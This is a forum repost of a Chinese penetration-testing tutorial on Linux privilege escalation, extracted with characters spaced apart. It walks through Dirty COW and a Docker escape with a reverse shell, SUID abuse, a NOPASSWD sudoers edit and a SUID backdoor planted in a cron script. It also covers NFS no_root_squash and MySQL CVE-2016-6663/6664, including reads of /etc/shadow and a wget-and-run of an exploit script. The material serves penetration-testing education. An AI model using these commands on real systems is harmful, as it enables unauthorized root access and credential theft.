搜索

[1037] 2021-01-04_Linux提权的几种常用方式

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-16
2021-01-04_Linux提权的几种常用方式 L i n u x 提 权 的 几 种 常 用 方 式 原 创   B y p a s s   B y p a s s   2 0 2 1 - 0 1 - 0 4 在 渗 透 测 试 过 程 中 ， 提 升 权 限 是 非 常 关 键 的 一 步 ， 攻 击 者 往 往 可 以 通 过 利 用 内 核 漏 洞 / 权 限 配 置 不 当 / r o o t 权 限 运 行 的 服 务 等 方 式 寻 找 突 破 点 ， 来 达 到 提 升 权 限 的 目 的 。 1 、 内 核 漏 洞 提 权 、 内 核 漏 洞 提 权 提 起 内 核 漏 洞 提 权 就 不 得 不 提 到 脏 牛 漏 洞 （ D i r t y   C o w ） ， 是 存 在 时 间 最 长 且 影 响 范 围 最 广 的 漏 洞 之 一 。 低 权 限 用 户 可 以 利 用 该 漏 洞 实 现 本 地 提 权 ， 同 时 可 以 通 过 该 漏 洞 实 现 D o c k e r 容 器 逃 逸 ， 获 得 r o o t 权 限 的 s h e l l 。 1 . 1   本 地 内 核 提 权 本 地 内 核 提 权 （ 1 ） 检 测 内 核 版 本 ( 2 )   下 载 ， 编 译 生 成 e x p 文 件 （ 3 ） 执 行 成 功 ， 返 回 一 个 r o o t 权 限 的 s h e l l 。 #   查 看 系 统 发 行 版 本 l s b _ r e l e a s e   - a #   查 看 内 核 版 本 u n a m e   - a b y p a s s @ u b u n t u : ~ $   m a k e
1 . 2   利 用 利 用 D i r t y C o w 漏 洞 实 现 漏 洞 实 现 D o c k e r 逃 逸 逃 逸 （ 1 ） 进 入 容 器 ， 编 译 P O C 并 执 行 ： （ 2 ） 在 攻 击 者 机 器 上 ， 成 功 接 收 到 宿 主 机 反 弹 的 s h e l l 。 1 . 3   L i n u x 提 权 辅 助 工 具 提 权 辅 助 工 具 g i t h u b 项 目 地 址 ： （ 1 ） 根 据 操 作 系 统 版 本 号 自 动 查 找 相 应 提 权 脚 本 h t t p s : / / g i t h u b . c o m / m z e t - / l i n u x - e x p l o i t - s u g g e s t e r . g i t w g e t   h t t p s : / / r a w . g i t h u b u s e r c o n t e n t . c o m / m z e t - / l i n u x - e x p l o i t - s u g g e s t e r / m a s t e r / l i n u x - e x p l o i t - s u g g e s t e r . s h   - O   l e s . s h
（ 2 ） 根 据 提 示 下 载 p o c ， 编 译 执 行 。 2 、 利 用 、 利 用 S U I D 提 权 提 权 S U I D 是 一 种 特 殊 权 限 ， 可 以 让 调 用 者 在 执 行 过 程 中 暂 时 获 得 该 文 件 拥 有 者 的 权 限 。 如 果 可 以 找 到 并 运 行 r o o t 用 户 所 拥 有 的 S U I D 的 文 件 ， 那 么 就 可 以 在 运 行 该 文 件 的 时 候 获 得 r o o t 用 户 权 限 。 （ 1 ） 在 L i n u x 中 查 找 可 以 用 来 提 权 的 S U I D 文 件 f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l
（ 2 ） 通 过 f i n d 以 r o o t 权 限 执 行 命 令 可 用 作 L i n u x 提 权 的 命 令 及 其 姿 势 : 3 、 、 S U D O 提 权 提 权 普 通 用 户 在 使 用 s u d o 执 行 命 令 的 过 程 中 ， 会 以 r o o t 方 式 执 行 命 令 。 在 很 多 场 景 里 ， 管 理 员 为 了 运 维 管 理 方 便 ， s u d o e r 配 置 文 件 错 误 导 致 提 权 。 （ 1 ） 设 置 s u d o 免 密 码 # F i n d f i n d   p e n t e s t l a b   - e x e c   w h o a m i   ; # V i m v i m . t i n y   / e t c / s h a d o w # a w k a w k   ' B E G I N { s y s t e m ( " w h o a m i " ) } ' # c u r l c u r l   f i l e : / / / e t c / s h a d o w # B a s h b a s h   - p     # L e s s l e s s   / e t c / p a s s w d # N m a p n m a p   - - i n t e r a c t i v e
（ 2 ） 查 看 s u d o 的 权 限 4 、 计 划 任 务 、 计 划 任 务 如 果 可 以 找 到 可 以 有 权 限 修 改 的 计 划 任 务 脚 本 ， 就 可 以 修 改 脚 本 实 现 提 权 。 本 质 上 ， 就 是 文 件 权 限 配 置 不 当 。 （ 1 ） 查 看 计 划 任 务 ， 找 到 有 修 改 权 限 的 计 划 任 务 脚 本 。 （ 2 ） 在 m y s q l b a c k . s h   添 加   S U I D   s h e l l 后 门 ， 当 定 时 任 务 以 r o o t 再 次 执 行 的 时 候 ， 可 以 获 取 r o o t 权 限 。 $ v i   / e t c / s u d o e r s 在 最 后 一 行 添 加 ： b y p a s s   A L L = ( A L L : A L L )   N O P A S S W D : A L L l s   - l   / e t c / c r o n * m o r e   / e t c / c r o n t a b c p   / b i n / b a s h   / t m p / s h e l l c h m o d   u + s   / t m p / s h e l l
5 、 、 N F S 提 权 提 权 当 服 务 器 中 存 在 N F S 共 享 ， 开 启 n o _ r o o t _ s q u a s h 选 项 时 ， 如 果 客 户 端 使 用 的 是 r o o t 用 户 ， 那 么 对 于 共 享 目 录 来 说 ， 该 客 户 端 就 有 r o o t 权 限 ， 可 以 使 用 它 来 提 升 权 限 。 （ 1 ） 查 看 N F S 服 务 器 上 的 共 享 目 录 （ 2 ） 创 建 本 地 挂 载 目 录 ， 挂 载 共 享 目 录 。 使 用 攻 击 者 本 地 r o o t 权 限 创 建 S u i d   s h e l l 。 （ 3 ） 回 到 要 提 权 的 服 务 器 上 ， 使 用 普 通 用 户 使 用 - p 参 数 来 获 取 r o o t 权 限 。 6 、 、 M y S Q L 提 权 提 权 M y S Q L 提 权 方 式 有 U D F 提 权 ， M O F 提 权 ， 写 入 启 动 项 提 权 等 方 式 ， 但 比 较 有 意 思 的 是 C V E - 2 0 1 6 - 6 6 6 3 、 C V E - 2 0 1 6 - 6 6 6 4 组 合 利 用 的 提 取 场 景 ， 可 以 将 一 个 w w w - d a t a 权 限 提 升 到 r o o t 权 限 。 （ 1 ） 利 用 C V E - 2 0 1 6 - 6 6 6 3 将 w w w - d a t a 权 限 提 升 为 m y s q l 权 限 ： （ 2 ） 利 用 C V E - 2 0 1 6 - 6 6 6 4 将 M y s q l 权 限 提 升 为 r o o t 权 限 ： s u d o   s h o w m o u n t   - e   1 0 . 1 . 1 . 2 3 3 s u d o   m k d i r   - p   / t m p / d a t a s u d o   m o u n t   - t   n f s   1 0 . 1 . 1 . 2 3 3 : / h o m e / b y p a s s   / t m p / d a t a c p   / b i n / b a s h   / t m p / d a t a / s h e l l c h m o d   u + s   / t m p / d a t a / s h e l l c d   / v a r / w w w / h t m l / g c c   m y s q l - p r i v e s c - r a c e . c   - o   m y s q l - p r i v e s c - r a c e   - I / u s r / i n c l u d e / m y s q l   - l m y s q l c l i e n t . / m y s q l - p r i v e s c - r a c e   t e s t   1 2 3 4 5 6   l o c a l h o s t   t e s t d b w g e t   h t t p : / / l e g a l h a c k e r s . c o m / e x p l o i t s / C V E - 2 0 1 6 - 6 6 6 4 / m y s q l - c h o w n e d . s h c h m o d   7 7 7   m y s q l - c h o w n e d . s h . / m y s q l - c h o w n e d . s h   / v a r / l o g / m y s q l / e r r o r . l o g

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理